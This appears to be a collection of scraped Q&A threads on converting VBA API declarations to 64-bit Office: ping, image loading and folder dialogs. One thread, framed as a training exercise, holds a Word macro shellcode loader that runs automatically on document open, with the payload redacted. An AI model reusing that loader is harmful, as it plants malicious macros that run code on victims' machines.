32bit to 64bit Declaring Functions in 64 bit office - vba

So I had to go in and add in PtrSafe before function calls since I am now using 64bit Excel. So far doing the PtrSafe changes has worked fine except for my mod_Ping. I had to do a #If Win64 Then … #else … #end if statements to make this code work in my macros because it would not work in this part if I had just added in the PtrSafe before each function call.
#If Win64 Then
Private Declare PtrSafe Function GetHostByName Lib "wsock32.dll" Alias "gethostbyname" (ByVal HostName As String) As LongPtr
Private Declare PtrSafe Function WSAStartup Lib "wsock32.dll" (ByVal wVersionRequired&, lpWSAdata As WSAdata) As LongPtr
Private Declare PtrSafe Function WSACleanup Lib "wsock32.dll" () As LongPtr
Private Declare PtrSafe Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (hpvDest As Any, hpvSource As Any, ByVal cbCopy As LongPtr)
Private Declare PtrSafe Function IcmpCreateFile Lib "icmp.dll" () As LongPtr
Private Declare PtrSafe Function IcmpCloseHandle Lib "icmp.dll" (ByVal HANDLE As LongPtr) As Boolean
Private Declare PtrSafe Function IcmpSendEcho Lib "ICMP" (ByVal IcmpHandle As LongPtr, ByVal DestAddress As LongPtr, ByVal RequestData As String, ByVal RequestSize As Integer, RequestOptns As IP_OPTION_INFORMATION, ReplyBuffer As IP_ECHO_REPLY, ByVal ReplySize As LongPtr, ByVal Timeout As LongPtr) As Boolean
Public Function Ping(sAddr As String, Optional Timeout As Integer = 2000) As Integer
Dim hFile As LongPtr, lpWSAdata As WSAdata
Dim hHostent As Hostent, AddrList As LongPtr
Dim Address As LongPtr, rIP As String
Dim OptInfo As IP_OPTION_INFORMATION
Dim EchoReply As IP_ECHO_REPLY
Call WSAStartup(&H101, lpWSAdata)
If GetHostByName(sAddr + String(64 - Len(sAddr), 0)) <> SOCKET_ERROR Then
CopyMemory hHostent.h_name, ByVal GetHostByName(sAddr + String(64 - Len(sAddr), 0)), Len(hHostent)
CopyMemory AddrList, ByVal hHostent.h_addr_list, 4
CopyMemory Address, ByVal AddrList, 4
End If
hFile = IcmpCreateFile()
If hFile = 0 Then
Ping = -2 ' MsgBox "Unable to Create File Handle"
Exit Function
End If
OptInfo.TTL = 255
If IcmpSendEcho(hFile, Address, String(32, "A"), 32, OptInfo, EchoReply, Len(EchoReply) + 8, Timeout) Then
rIP = CStr(EchoReply.Address(0)) + "." + CStr(EchoReply.Address(1)) + "." + CStr(EchoReply.Address(2)) + "." + CStr(EchoReply.Address(3))
Else
Ping = -1 ' MsgBox "Timeout"
End If
If EchoReply.Status = 0 Then
Ping = EchoReply.RoundTripTime
Else
Ping = -3
End If
IcmpCloseHandle hFile
WSACleanup
End Function
#Else
Private Declare Function GetHostByName Lib "wsock32.dll" Alias "gethostbyname" (ByVal HostName As String) As Long
Private Declare Function WSAStartup Lib "wsock32.dll" (ByVal wVersionRequired&, lpWSAdata As WSAdata) As Long
Private Declare Function WSACleanup Lib "wsock32.dll" () As Long
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (hpvDest As Any, hpvSource As Any, ByVal cbCopy As Long)
Private Declare Function IcmpCreateFile Lib "icmp.dll" () As Long
Private Declare Function IcmpCloseHandle Lib "icmp.dll" (ByVal HANDLE As Long) As Boolean
Private Declare Function IcmpSendEcho Lib "ICMP" (ByVal IcmpHandle As Long, ByVal DestAddress As Long, ByVal RequestData As String, ByVal RequestSize As Integer, RequestOptns As IP_OPTION_INFORMATION, ReplyBuffer As IP_ECHO_REPLY, ByVal ReplySize As Long, ByVal Timeout As Long) As Boolean
Public Function Ping(sAddr As String, Optional Timeout As Integer = 2000) As Integer
Dim hFile As Long, lpWSAdata As WSAdata
Dim hHostent As Hostent, AddrList As Long
Dim Address As Long, rIP As String
Dim OptInfo As IP_OPTION_INFORMATION
Dim EchoReply As IP_ECHO_REPLY
Call WSAStartup(&H101, lpWSAdata)
If GetHostByName(sAddr + String(64 - Len(sAddr), 0)) <> SOCKET_ERROR Then
CopyMemory hHostent.h_name, ByVal GetHostByName(sAddr + String(64 - Len(sAddr), 0)), Len(hHostent)
CopyMemory AddrList, ByVal hHostent.h_addr_list, 4
CopyMemory Address, ByVal AddrList, 4
End If
hFile = IcmpCreateFile()
If hFile = 0 Then
Ping = -2 ' MsgBox "Unable to Create File Handle"
Exit Function
End If
OptInfo.TTL = 255
If IcmpSendEcho(hFile, Address, String(32, "A"), 32, OptInfo, EchoReply, Len(EchoReply) + 8, Timeout) Then
rIP = CStr(EchoReply.Address(0)) + "." + CStr(EchoReply.Address(1)) + "." + CStr(EchoReply.Address(2)) + "." + CStr(EchoReply.Address(3))
Else
Ping = -1 ' MsgBox "Timeout"
End If
If EchoReply.Status = 0 Then
Ping = EchoReply.RoundTripTime
Else
Ping = -3
End If
IcmpCloseHandle hFile
WSACleanup
#End If
End Function
As you can see I had to also change the longs to LongPtr as well.
When I open up this work book it gives me error only comments may appear after end sub end function or end property. The strange thing is, if i just ignore this and close out the debugger the workbook works fine.
I mean the #End if should be there to end the initial #If calling so I don't know why I would get a compile error for it. Is there something I am not seeing?

I think our problem here is that 32bit Excel changes data type Integer to Long data type.
Try replacing Integer with LongPtr.
Long only works for 32bit Excel
LongLong only works for 64bit Excel
LongPtr works for both 32bit and 64bit as per https://learn.microsoft.com/en-us/office/vba/language/concepts/getting-started/64-bit-visual-basic-for-applications-overview

The End Function is outside of the #End If, but the Function is INSIDE of the #If. So basically you need to swap the last 2 lines around.

Related

VBA 64 Bit Forms Image Control and loading an image from byte array

I have an Access 365 64-bit problem I am trying to solve and I need some guidance.
I have a byte array with image data, retrieved from a Base64 encoded string. The decoding is working just fine and I can produce the array as expected. I have had this code from an older 32 bit version of VBA applications and it remains fully functional. So far so good.
The issue comes into play when I am trying to place the image data into a forms image control directly - no saving to a file. I have had this working in the 32 bit applications but now that the office 365 subscription I am working with is 64 bit (as is the rest of the company) I am having trouble converting the API calls and subsequent code across to 64-bit compatible versions. The images are largely PNG and JPG images (when extracted).
The main issue seems to be coming from the need to replace OLEPRO32 with OLEAUT32. The code runs (seemingly) without error however I am not getting any output. I am sure that I am missing something simple but I just cannot see it. My code is below as well as the API declarations I am using, along with the old OLEPRO32 declaration which is commented out.
Option Explicit
Option Compare Database
Declare PtrSafe Function CreateStreamOnHGlobal Lib "ole32" (ByVal hGlobal As LongPtr, ByVal fDeleteOnRelease As Long, ppstm As Any) As LongPtr
Declare PtrSafe Function GlobalAlloc Lib "kernel32" (ByVal uFlags As Long, ByVal dwBytes As Long) As LongPtr
Declare PtrSafe Function GlobalLock Lib "kernel32" (ByVal hMem As LongPtr) As LongPtr
Declare PtrSafe Function GlobalUnlock Lib "kernel32" (ByVal hMem As LongPtr) As LongPtr
'Declare PtrSafe Function OleLoadPicture Lib "olepro32" (pStream As Any, ByVal lSize As Long, ByVal fRunmode As Long, riid As Any, ppvObj As Any) As LongPtr
Declare PtrSafe Function OleLoadPicture Lib "oleaut32" (pStream As Any, ByVal lSize As Long, ByVal fRunmode As Long, riid As Any, ppvObj As Any) As LongPtr
Declare PtrSafe Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (ByRef Destination As Any, ByRef Source As Any, ByVal Length As Long)
And here is the routine that uses the declarations:
Public Function ArrayToPicture(inArray() As Byte, Offset As Long, Size As Long) As IPicture
' function creates a stdPicture from the passed array
' Offset is first item in array: 0 for 0 bound arrays
' Size is how many bytes comprise the image
Dim o_hMem As LongPtr
Dim o_lpMem As LongPtr
Dim aGUID(0 To 3) As Long
Dim IIStream As IUnknown
aGUID(0) = &H7BF80980 ' GUID for stdPicture
aGUID(1) = &H101ABF32
aGUID(2) = &HAA00BB8B
aGUID(3) = &HAB0C3000
o_hMem = GlobalAlloc(&H2&, Size)
If Not o_hMem = 0& Then
o_lpMem = GlobalLock(o_hMem)
If Not o_lpMem = 0& Then
CopyMemory ByVal o_lpMem, inArray(Offset), Size
Call GlobalUnlock(o_hMem)
If CreateStreamOnHGlobal(o_hMem, 1&, IIStream) = 0& Then
Call OleLoadPicture(ByVal ObjPtr(IIStream), 0&, 0&, aGUID(0), ArrayToPicture)
End If
End If
End If
End Function
If anyone has any ideas please let me know. The output of this function seems to be nothing at all whereas in the past I could expect a valid iPicture object that could be assigned directly to the form image controls .PictureData.
Any guidance greatly appreciated.
Cheers
The Frog
UPDATE:
I have worked through a large portion of the code and can now specifically isolate the locations where the crashes are happening. Code is below
Option Compare Database
' API declarations
Private Declare PtrSafe Function CreateStreamOnHGlobal Lib "Ole32.dll" (ByRef hGlobal As LongPtr, ByVal fDeleteOnRelease As Long, ByRef ppstm As LongPtr) As Long
Private Declare PtrSafe Function CLSIDFromString Lib "Ole32" (ByVal lpsz As LongPtr, pclsid As Any) As Long
Private Declare PtrSafe Function OLELoadPicture Lib "OleAut32.lib" (ByRef lpStream As LongPtr, ByVal lSize As Long, ByVal fRunMode As Long, ByRef RIID As GUID, ByRef lplpObj As LongPtr) As Long
Private Declare PtrSafe Function GetObject Lib "gdi32" Alias "GetObjectA" (ByVal hObject As LongPtr, ByVal nCount As Long, lpObject As Any) As Long
Private Declare PtrSafe Function CreateCompatibleBitmap Lib "gdi32" (ByVal hdc As LongPtr, ByVal nWidth As Long, ByVal nHeight As Long) As LongPtr
Private Declare PtrSafe Function SelectObject Lib "gdi32" (ByVal hdc As LongPtr, ByVal hObject As LongPtr) As LongPtr
Private Declare PtrSafe Function GetDIBits Lib "gdi32" (ByVal aHDC As LongPtr, ByVal hBitmap As LongPtr, ByVal nStartScan As Long, ByVal nNumScans As Long, lpBits As Any, lpBI As BITMAPINFO, ByVal wUsage As Long) As Long
Private Declare PtrSafe Function CreateCompatibleDC Lib "gdi32" (ByVal hdc As LongPtr) As LongPtr
Private Declare PtrSafe Function DeleteDC Lib "gdi32" (ByVal hdc As LongPtr) As Long
Private Declare PtrSafe Function GetWindowDC Lib "user32" (ByVal hWnd As LongPtr) As LongPtr
Private Declare PtrSafe Function GlobalAlloc Lib "kernel32" (ByVal wFlags As Long, ByVal dwBytes As LongPtr) As LongPtr
Private Declare PtrSafe Function GlobalLock Lib "kernel32" (ByVal hMem As LongPtr) As LongPtr
Private Declare PtrSafe Function GlobalUnlock Lib "kernel32" (ByVal hMem As LongPtr) As Long
Private Declare PtrSafe Sub MoveMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As LongPtr)
Private Declare PtrSafe Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As LongPtr)
'Necessary Types
Private Type BITMAPINFOHEADER '40 Bytes
biSize As Long
biWidth As Long
biHeight As Long
biPlanes As Integer
biBitCount As Integer
biCompression As Long
biSizeImage As Long
biXPelsPerMeter As Long
biYPelsPerMeter As Long
biClrUsed As Long
biClrImportant As Long
End Type
Private Type RGBQUAD
rgbBlue As Byte
rgbGreen As Byte
rgbRed As Byte
rgbReserved As Byte
End Type
Private Type BITMAPINFO
bmiHeader As BITMAPINFOHEADER
bmiColors As RGBQUAD
End Type
Private Type DIBHEADER '14 magical bytes
BmpIdentification(1) As Byte
BmpSize(3) As Byte
BmpCreator As Integer
BmpCreator2 As Integer
BmpDataOffset(3) As Byte
End Type
Private Type GUID
Data1 As Long
Data2 As Integer
Data3 As Integer
Data4(7) As Byte
End Type
Public Function StdPictureToDibImage(ByRef Picture As StdPicture, Optional PadColor As Integer = -1) As Byte()
' Performs StdPicture to DIB compliant Byte Array
' Adopted based on : http://www.vbforums.com/showthread.php?833125-How-to-convert-StdPicture-into-pixel-array
' The Byte Arrays to Hold the Initial PictureData along with the Final One
Dim ImageData() As Byte
Dim buffer() As Byte
Dim tmp() As Byte
' Type Instances
Dim BMI As BITMAPINFO
Dim DIB As DIBHEADER
Dim PaddingColor As Integer
' API handle
Dim hdc As LongPtr
Dim hpic As LongPtr
hdc = CreateCompatibleDC(0) 'Create a temporary in-memory device context
BMI.bmiHeader.biSize = Len(BMI.bmiHeader) 'Initialize BitmapInfoHeader with header size
'Get the header Info of the Image based on the StdPicture handle provided
GetDIBits hdc, Picture.handle, 0, 0, ByVal 0&, BMI, 0 'Get Information about the image
'Normally here we would setup the header for BMI header but i found out that simply is not working as it should
' Only the DIB header needs manual handling
With DIB
.BmpIdentification(0) = 66
.BmpIdentification(1) = 77
tmp = LongToByteArray(BMI.bmiHeader.biSizeImage + Len(DIB) + Len(BMI.bmiHeader))
.BmpSize(0) = tmp(0)
.BmpSize(1) = tmp(1)
.BmpSize(2) = tmp(2)
.BmpSize(3) = tmp(3)
.BmpCreator = 0
.BmpCreator2 = 0
tmp = LongToByteArray(Len(DIB) + Len(BMI.bmiHeader))
.BmpDataOffset(0) = tmp(0)
.BmpDataOffset(1) = tmp(1)
.BmpDataOffset(2) = tmp(2)
.BmpDataOffset(3) = tmp(3)
End With
'Byte Arrays Initialization
ReDim ImageData(3, BMI.bmiHeader.biWidth - 1, BMI.bmiHeader.biHeight - 1) 'Initialize array for holding pixel data
ReDim buffer(0 To BMI.bmiHeader.biSizeImage + (Len(DIB) + Len(BMI.bmiHeader)) - 1)
'Here we get the actual Image Data from the StdPicture
'This was the most troubled part of the whole process as it kept truncating the image to around 3/4
' no matter what....until i noticed that the info "feeded" to the BMI header was wrong
hpic = CLngPtr(Picture.handle)
GetDIBits hdc, hpic, 0, Abs(BMI.bmiHeader.biHeight), ImageData(0, 0, 0), BMI, 0 'Get pixel data
'GetDIBits hdc, Picture.handle, 0, Abs(BMI.bmiHeader.biHeight), ImageData(0, 0, 0), BMI, 0 'Get pixel data
'Constructing the Final Image Data
'1st the DIB header ***** CRUCIAL ******* , without this everything fails and burns
CopyMemory buffer(0), DIB, Len(DIB)
'2nd the BMP header, this was done in all other cases
CopyMemory buffer(Len(DIB)), BMI.bmiHeader, Len(BMI.bmiHeader)
'3rd the actual image data
CopyMemory buffer(Len(DIB) + Len(BMI.bmiHeader)), ImageData(0, 0, 0), 3 * (BMI.bmiHeader.biWidth - 1) * (BMI.bmiHeader.biHeight - 1)
'Cleaning up
DeleteDC hdc 'Get rid of temporary in-memory device context
'Some Padding to remove the "dead" space because Images Dimensions are "resized" to multiple of 4s
'so if the either of the dimensions is not exactly a multiple of 4 then padding is applied which
'results is "dead" pixels
If PadColor < 0 Then
PaddingColor = 255
Else
PaddingColor = PadColor
End If
For I = UBound(buffer) To LBound(buffer) Step -1
If buffer(I) = 0 Then
buffer(I) = PaddingColor
Else
Exit For
End If
Next
'The final magical byte array...no more temp files,links,extra controls...whatever..everything in memory
StdPictureToDibImage = buffer()
End Function
Public Function PictureFromByteStream(ByRef B() As Byte) As IPicture
Dim LowerBound As Long
Dim ByteCount As Long
Dim hMem As Long
Dim lpMem As Long
Dim IID_IPicture As GUID
Dim istm As stdole.IUnknown
On Error GoTo Err_Init
If UBound(B, 1) < 0 Then
Exit Function
End If
LowerBound = LBound(B)
ByteCount = (UBound(B) - LowerBound) + 1
hMem = GlobalAlloc(&H2, ByteCount)
If hMem <> 0 Then
lpMem = GlobalLock(hMem)
If lpMem <> 0 Then
MoveMemory ByVal lpMem, B(LowerBound), ByteCount
Call GlobalUnlock(hMem)
If CreateStreamOnHGlobal(hMem, 1, istm) = 0 Then
If CLSIDFromString(StrPtr("{7BF80980-BF32-101A-8BBB-00AA00300CAB}"), IID_IPicture) = 0 Then
Call OLELoadPicture(ByVal ObjPtr(istm), ByteCount, 0, IID_IPicture, PictureFromByteStream)
End If
End If
End If
End If
Exit Function
Err_Init:
If err.Number = 9 Then
Debug.Print err.Number & " - " & err.Description
End Function
Function ArrayToStdPicture(imageBytes() As Byte) As StdPicture
Dim W As WIA.Vector
Dim s As StdPicture
Set W = New WIA.Vector
W.BinaryData = imageBytes
Set ArrayToStdPicture = W.Picture
If Not W Is Nothing Then Set W = Nothing
End Function
The process is as follows:
ArrayToStdPicture -> StdPictureToDIBImage
The crash occurs on the line:
GetDIBits hdc, hpic, 0, Abs(BMI.bmiHeader.biHeight), ImageData(0, 0, 0), BMI, 0 'Get pixel data
The crash totally crashes MS Access and kills the application.

VBA Run Shellcode in Memory showing type error

I'm testing out running shellcode in memory for a training course and am hitting some issues with VBAs errors.
When I try to run the macro in Word I get the following error:
Compile Error: Type mismatch
This appears to point towards my use of RtlMoveMemory within my Run() functions. I have copied this verbatim from the course material and it appears to match other samples online.
I have tried modifying the types of addr, data and counter to LongLong or just Long but they seem to throw the same error. I am using a 64-bit version of Windows and my understanding is that LongPtr should be the correct 'bitness', 64.
What am I missing below? I have redacted the shellcode as it was a Metasploit payload.
Private Declare PtrSafe Function CreateThread Lib "KERNEL32" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "KERNEL32" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr
Function Run()
Dim buf As Variant
Dim addr As LongPtr
Dim counter As Long
Dim data As Long
Dim res As Long
buf = Array(.... _)
addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)
For counter = LBound(buf) To UBound(buf)
data = buf(counter)
res = RtlMoveMemory(addr + counter, data, 1)
Next counter
res = CreateThread(0, 0, addr, 0, 0, 0)
End Function
Sub Document_Open()
Run
End Sub
Sub AutoOpen()
Run
End Sub

Select Folder using SHBrowseForFolderA does not work on windows 10 platform

I have a vba7 macro which use a folder select box base on windows api.
This code use SHBrowseForFolderA, SendMessageA, SHGetPathFromIDListA APIs
Upto now this code run perfectly on Windows 7 x64 platform.
This code crash when I run it on win 10 x64 platform.
'API Declares
Public Declare PtrSafe Function SendMessageA Lib "user32" (ByVal hWnd As LongPtr, ByVal wMsg As Long, ByVal wParam As LongPtr, lParam As Any) As LongPtr
Private Declare PtrSafe Function SHBrowseForFolderA Lib "shell32.dll" (lpBrowseInfo As BrowseInfo) As Long
Private Declare PtrSafe Function SHGetPathFromIDListA Lib "shell32.dll" (ByVal pidList As Long, ByVal lpBuffer As String) As Long
Private Declare PtrSafe Sub CoTaskMemFree Lib "ole32.dll" (ByVal hMem As Long)
Public Function FolderBrowse(ByVal sDialogTitle As String, ByVal sPath As String) As String
Dim ReturnPath As String
Dim b(MAX_PATH) As Byte
Dim pItem As Long
Dim sFullPath As String
Dim bi As BrowseInfo
Dim ppidl As Long
sPath = CorrectPath(sPath)
bi.hWndOwner = 0 'Screen.ActiveForm.hwnd
'SHGetSpecialFolderLocation bi.hWndOwner, CSIDL_DRIVES, ppidl
bi.pIDLRoot = 0 'ppidl
bi.pszDisplayName = VarPtr(b(0))
bi.lpszTitle = sDialogTitle
bi.ulFlags = BF_Flags.BIF_RETURNONLYFSDIRS + BF_Flags.BIF_NEWDIALOGSTYLE + BF_Flags.BIF_STATUSTEXT 'BIF_RETURNONLYFSDIRS
'bi.ulFlags = BF_Flags.BIF_RETURNONLYFSDIRS + BF_Flags.BIF_USENEWUI + BF_Flags.BIF_STATUSTEXT 'BIF_RETURNONLYFSDIRS
If FolderExists(sPath) Then bi.lpfnCallback = PtrToFunction(AddressOf BFFCallback)
bi.lParam = StrPtr(sPath)
pItem = SHBrowseForFolderA(bi)
If pItem Then ' Succeeded
sFullPath = Space$(MAX_PATH)
If SHGetPathFromIDListA(pItem, sFullPath) Then
ReturnPath = Left$(sFullPath, InStr(sFullPath, vbNullChar) - 1) ' Strip nulls
CoTaskMemFree pItem
End If
End If
' If pItem <> 0 Then ' Succeeded
' sFullPath = Space$(MAX_PATH_Unicode)
' If SHGetPathFromIDListW(pItem, StrPtr(sFullPath)) Then
' ReturnPath = Left$(sFullPath, InStr(sFullPath, vbNullChar) - 1) ' Strip nulls
' CoTaskMemFree pItem 'nettoyage
' End If
' End If
If Right$(ReturnPath, 1) <> "\" And ReturnPath <> "" Then 'Could be "C:"
FolderBrowse = ReturnPath & "\"
End If
'If Right$(ReturnPath, 1) <> "\" And ReturnPath <> "" Then 'Could be "C:"
' FolderBrowse = ReturnPath & "\"
' End If
End Function
I don't have any error message
Just Catia application is frozen.
Regards
I have finaly found how to solve this issue.
The declaration was not correct
Here is the good declaration
'API Declares
Public Declare PtrSafe Function SendMessageA Lib "user32" (ByVal hWnd As LongPtr, ByVal wMsg As Long, ByVal wParam As LongPtr, lParam As Any) As LongPtr
Private Declare PtrSafe Function SHBrowseForFolder Lib "shell32.dll" Alias "SHBrowseForFolderA" (lpBrowseInfo As BROWSEINFO) As LongPtr
Private Declare PtrSafe Function SHGetPathFromIDList Lib "shell32.dll" Alias "SHGetPathFromIDListA" (ByVal pidList As LongPtr, ByVal lpBuffer As String) As Boolean
Private Declare PtrSafe Sub CoTaskMemFree Lib "ole32.dll" (ByVal hMem As LongPtr)
'BrowseInfo Type
Public Type BROWSEINFO
hWndOwner As LongPtr
pidlRoot As LongPtr
pszDisplayName As String
lpszTitle As String
ulFlags As Long
lpfnCallback As LongPtr
lParam As LongPtr
iImage As Long
End Type
regards

How do I fix error for 64-bit VBA PPT converted from 32-bit

This VBA program worked for 32-bit PPT 2007 but when I used it for 64-bit PPT 2013, there was an error even when I added PtrSafe infront of Public Declare.
There was a type miss match in this function: AddressOf BrowseCallbackProc
(in the middle of Public Function Get_IMGFolderName())
I would like some advice on how to solve this problem.
I have been coding as a hobby so I do not know much.
Thankyou
Option Explicit
Public Declare PtrSafe Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String) As Long
Public Declare PtrSafe Function SHBrowseForFolder Lib "shell32" (lpbi As BrowseInfo) As Long
Public Declare PtrSafe Function SHGetPathFromIDList Lib "shell32" (ByVal pidList As Long, ByVal lpBuffer As String) As Long
Public Declare PtrSafe Function lstrcat Lib "kernel32" Alias "lstrcatA" (ByVal lpString1 As String, ByVal lpString2 As String) As Long
Public Type BrowseInfo
hwndOwner As Long
pIDLRoot As Long
pszDisplayName As Long
lpszstrMsg As Long
ulFlags As Long
lpfnCallback As Long
lParam As Long
iImage As Long
End Type
Public Const BIF_STATUSTEXT = &H4&
Public Const BIF_RETURNONLYFSDIRS = 1
Public Const BIF_DONTGOBELOWDOMAIN = 2
Public Const MAX_PATH = 260
Public Const WM_USER = &H400
Public Const BFFM_INITIALIZED = 1
Public Const BFFM_SELCHANGED = 2
Public Const BFFM_SETSTATUSTEXT = (WM_USER + 100)
Public Const BFFM_SETSELECTION = (WM_USER + 102)
Public strCurDir As String '현재 디렉토리
Public Enum CHOOSE_COLOR_FLAGS
CC_RGBINIT = &H1&
CC_FULLOPEN = &H2&
CC_PREVENTFULLOPEN = &H4&
CC_SHOWHELP = &H8&
CC_ENABLEHOOK = &H10&
CC_ENABLETEMPLATE = &H20&
CC_ENABLETEMPLATEHANDLE = &H40&
CC_SOLIDCOLOR = &H80&
CC_ANYCOLOR = &H100&
End Enum
Private Type CHOOSECOLOR
lStructSize As Long
hwndOwner As Long
hInstance As Long
rgbResult As Long
lpCustColors As Long
flags As CHOOSE_COLOR_FLAGS
lCustData As Long
lpfnHook As Long
lpTemplateName As String
End Type
Private Declare PtrSafe Function ChooseColor_API Lib "comdlg32.dll" Alias "ChooseColorA" (lpChoosecolor As CHOOSECOLOR) As Long
Function Delete_Sheets()
'ActiveWindow.View.GotoSlide ActivePresentation.Slides.Count
While ActivePresentation.Slides.Count > 0
ActiveWindow.Selection.SlideRange.Delete
Wend
End Function
Public Function Get_IMGFolderName() As String
Dim lpIDList As Long
Dim szstrMsg As String
Dim strBuffer As String
Dim tBrowseInfo As BrowseInfo
Dim strDir As String
strCurDir = frmBible.lblIMGFolder.Caption & vbNullChar
szstrMsg = "바탕그림용 이미지가 들어 있는 폴더를 지정해주세요"
With tBrowseInfo
.hwndOwner = 0
.lpszstrMsg = lstrcat(szstrMsg, "")
.ulFlags = BIF_RETURNONLYFSDIRS + BIF_DONTGOBELOWDOMAIN + BIF_STATUSTEXT
.lpfnCallback = GetAddressofFunction(AddressOf BrowseCallbackProc) 'get address of function.
End With
lpIDList = SHBrowseForFolder(tBrowseInfo)
If (lpIDList) Then
strBuffer = Space(MAX_PATH)
SHGetPathFromIDList lpIDList, strBuffer
strBuffer = Left(strBuffer, InStr(strBuffer, vbNullChar) - 1)
Get_IMGFolderName = strBuffer
Else
Get_IMGFolderName = ""
End If
End Function
Public Function Remove_Special_Chars(intxt) As String
Dim wkstr As String
Dim p As Integer, c, uc
wkstr = ""
While Len(intxt) > 0
c = Left(intxt, 1)
uc = UCase(c)
If c >= "가" And c <= "힝" Then
wkstr = wkstr & c
ElseIf uc >= "A" And uc <= "Z" Then
wkstr = wkstr & c
ElseIf uc >= "0" And uc <= "9" Then
wkstr = wkstr & c
End If
intxt = Mid(intxt, 2)
Wend
Remove_Special_Chars = wkstr
End Function
Public Function Return_PathName(full_Path As String)
'return path name only
Dim p As Integer, ps As Integer
ps = 1
p = 1
Do While p > 0
p = InStr(ps, full_Path, "\", vbBinaryCompare)
If p > 0 Then
ps = p + 1
End If
Loop
Return_PathName = Left(full_Path, ps - 1)
End Function
Public Function Return_FileName(full_Path As String)
' return file name only
Dim p As Integer, ps As Integer
ps = 1
p = 1
Do While p > 0
p = InStr(ps, full_Path, "\", vbBinaryCompare)
If p > 0 Then
ps = p + 1
End If
Loop
Return_FileName = Mid(full_Path, ps)
End Function
Public Function Return_FolderName(full_Path)
' return folder name only
Dim p As Integer
p = InStrRev(full_Path, "\", Len(full_Path) - 1)
Return_FolderName = Mid(full_Path, p + 1)
End Function
Public Function BrowseCallbackProc(ByVal hWnd As Long, ByVal uMsg As Long, ByVal lp As Long, ByVal pData As Long) As Long
Dim lpIDList As Long
Dim lngRet As Long
Dim strBuffer As String
On Error Resume Next
Select Case uMsg
Case BFFM_INITIALIZED
Call SendMessage(hWnd, BFFM_SETSELECTION, 1, strCurDir)
Case BFFM_SELCHANGED
strBuffer = Space(MAX_PATH)
lngRet = SHGetPathFromIDList(lp, strBuffer)
If lngRet = 1 Then
Call SendMessage(hWnd, BFFM_SETSTATUSTEXT, 0, strBuffer)
End If
End Select
On Error GoTo 0
BrowseCallbackProc = 0
End Function
Public Function GetAddressofFunction(lngAdd As Long) As Long
GetAddressofFunction = lngAdd
End Function
Public Function FileDateInfo(filespec)
Dim fs, f
Set fs = CreateObject("Scripting.FileSystemObject")
Set f = fs.GetFile(filespec)
FileDateInfo = f.DateLastModified
End Function
Public Function WinRegistry_CommonGet()
Dim TmpName As String
Dim i As Integer
Dim x
Version_Release = GetSetting("BibleChoir", "LatestVal", "Version_Release", "vv.rr")
frmBible.lblIMGFolder.Caption = GetSetting("BibleChoir", "LatestVal", "IMGFolder", "없음")
'frmPicture.sldBright = GetSetting(appname:="BibleChoir", section:="LatestVal", key:="Bright", Default:=70)
frmBible.chkEachPage = GetSetting("BibleChoir", "LatestVal", "EachPage", False)
File2Open = frmBible.lblIMGFolder.Caption
If File2Open <> "없음" Then
On Error Resume Next
frmBible.ImgPreview.Picture = LoadPicture(File2Open)
End If
On Error GoTo 0
End Function
Public Function WinRegistry_CommonSave()
Dim i As Integer
SaveSetting "BibleChoir", "LatestVal", "Version_Release", Version_Release
SaveSetting "BibleChoir", "LatestVal", "IMGFolder", frmBible.lblIMGFolder.Caption
'SaveSetting "BibleChoir", "LatestVal", "Bright", frmPicture.sldBright
SaveSetting "BibleChoir", "LatestVal", "EachPage", frmBible.chkEachPage
End Function
You need to do more than just add the PtrSafe declaration. Some of your Long data types also need to be converted to LongPtr.
#If VBA7 Then
Public Declare PtrSafe Function SendMessage Lib "user32" Alias "SendMessageA" _
(ByVal hWnd As LongPtr, ByVal wMsg As Long, ByVal wParam As LongPtr, _
ByVal lParam As String) As LongPtr
Public Declare PtrSafe Function SHBrowseForFolder Lib "shell32" _
(lpbi As BrowseInfo) As LongPtr
Public Declare PtrSafe Function SHGetPathFromIDList Lib "shell32" _
(ByVal pidList As LongPtr, ByVal lpBuffer As String) As LongPtr
Public Declare PtrSafe Function lstrcat Lib "kernel32" Alias "lstrcatA" _
(ByVal lpString1 As String, ByVal lpString2 As String) As Long
#Else
Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" _
(ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, _
ByVal lParam As String) As Long
Public Declare Function SHBrowseForFolder Lib "shell32" _
(lpbi As BrowseInfo) As Long
Public Declare Function SHGetPathFromIDList Lib "shell32" _
(ByVal pidList As Long, ByVal lpBuffer As String) As Long
Public Declare Function lstrcat Lib "kernel32" Alias "lstrcatA" _
(ByVal lpString1 As String, ByVal lpString2 As String) As Long
#End If
From Microsoft Docs:
Note Declare statements with the PtrSafe keyword is the recommended syntax. Declare statements that include PtrSafe work correctly in the VBA7 development environment on both 32-bit and 64-bit platforms only after all data types in the Declare statement (parameters and return values) that need to store 64-bit quantities are updated to use LongLong for 64-bit integrals or LongPtr for pointers and handles. To ensure backwards compatibility with VBA version 6 and earlier use the following construct:
#If VBA7 Then
Declare PtrSafe Sub...
#Else
Declare Sub...
#EndIf
When running in 64-bit versions of Office Declare statements must include the PtrSafe keyword. The PtrSafe keyword asserts that a Declare statement is safe to run in 64-bit development environments. Adding the PtrSafe keyword to a Declare statement only signifies the Declare statement explicitly targets 64-bits, all data types within the statement that need to store 64-bits (including return values and parameters) must still be modified to hold 64-bit quantities using either LongLong for 64-bit integrals or LongPtr for pointers and handles.

VBA userform - Solve application crash when hooking into mouse scrollwheel (VBA7, Win10/64bit, Word2016/64bit)

